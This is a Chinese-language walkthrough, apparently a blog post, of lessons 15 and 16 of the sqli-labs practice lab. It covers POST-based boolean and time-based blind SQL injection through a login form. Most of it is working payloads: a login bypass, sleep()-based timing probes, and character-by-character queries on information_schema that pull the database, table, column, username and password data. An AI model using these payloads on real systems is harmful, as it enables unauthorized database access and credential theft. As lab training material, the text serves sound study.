sqli-labs Less-15/Less-16 POST-Blind-Boolian/time Based

Less-15/Less-16 POST-Blind-Boolian/time Based

POST 型基于布尔/时间的盲注
Less-15 闭合方式 ',Less-16 闭合方式是 ",下面以Less-15为例说明

1、页面情况

访问页面,发现是一个登陆窗口。
当登陆失败时会出现LOGIN ATTEMPT FAILED的图片
用万能密码 1’ or 1-1 – + 登陆成功时会显示SUCCESSFULLY LOGGED IN图片
当输入的语句有语法错误时,如 :1’ ,没有任何错误提示信息
可以尝试用基于时间的盲注来获取信息
关于时间的盲注,更详细的介绍请参考文章:
https://blog.****.net/bigblue00/article/details/106804358
也可以尝试利用布尔类型的方法获取信息
关于布尔盲注,更详细的介绍请参考文章:
https://blog.****.net/bigblue00/article/details/106785831

2、以时间盲注获取数据库信息

获取数据库名

先判断数据库名的长度,采用二分法,利用 < = > 这三种判断来确定具体长度值。
可以在Username 表单处构造语句
admin’ and if ((length(database())=8),sleep(3),1) – +
如果数据库的名的长度为8 ,则sleep 3秒,否则直接显示信息
sqli-labs Less-15/Less-16 POST-Blind-Boolian/time Based
分别猜测每个字符:
admin’ and if ((ascii(substr(database(),1,1))>50),sleep(3),1) – +
admin’ and if ((ascii(substr(database(),1,1))<123),sleep(3),1) – +
admin’ and if ((ascii(substr(database(),1,1))=115),sleep(3),1) – +
可以猜测出第一个字符ASCII值为115,查询ASCII表对应是小s
利用此方法依次猜测最终可猜测到数据库名为" security "

获取数据表

例如猜测第四张表的信息
表名长度:
admin’ and if (((select length(table_name) from information_schema.tables where table_schema=“security” limit 3,1)=5),sleep(3),1) – +
可以得出第四张表的表名长度为5
依次猜测第四张表的表名的5个字符,以第一个字符为例:
admin’ and if ((ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))=117),sleep(3),1) – +
第一个字符ASCII值为117,是小u
依次猜测可以得到第四张数据表名为"users"

获取表中数据

猜测users表中第二个字段的长度:
admin’ and if (((select length(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1)=8),sleep(3),1) – +
第二个字段的长度为8
猜第二个字段中的每个字符:
admin’ and if ((ascii(substr((select column_name from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1),1,1))=117),sleep(3),1) – +
第一个字符ASCII值为117,是小u
同理可以分别猜测出第二个字段和第三个字段分别是:username, password

猜数据表中的数据
第一个username的长度
admin’ and if (((select length(username) from users limit 0,1)=4),sleep(3),1) – +
第一个username长度为4
第一个username的第一个字母的ASCII值
admin’ and if ((ascii(substr((select username from users limit 0,1),1,1))=68),sleep(3),1) – +
第一个username的第一个字符的ASCII值为68, 是D

按次方法构造语句,依次猜测出所需要数据。

3、以布尔盲注获取数据库信息

获取数据库名

先判断数据库名的长度,同样采用二分法,利用 < = > 这三种判断来确定具体长度值。
可以在Username 表单处构造语句判断数据库名长度:
admin’ and (length(database())=8) – +
Password表单处填入万能密码:123’ or 1=1 – +
通过返回的图片信息来判断构造的语句是否成立,如果显示的是登陆成功的图片,则表示构造的语句成立。
sqli-labs Less-15/Less-16 POST-Blind-Boolian/time Based
分别猜测每个字符:
admin’ and ((ascii(substr(database(),1,1))>50)) – +
admin’ and ((ascii(substr(database(),1,1))<123)) – +
admin’ and ((ascii(substr(database(),1,1))=115)) – +
可以猜测出第一个字符ASCII值为115,查询ASCII表对应是小s
利用此方法依次猜测最终可猜测到数据库名为" security "

获取数据表及表中数据的语句,请参考时间盲注中if语句里的条件语句,这里不再赘述。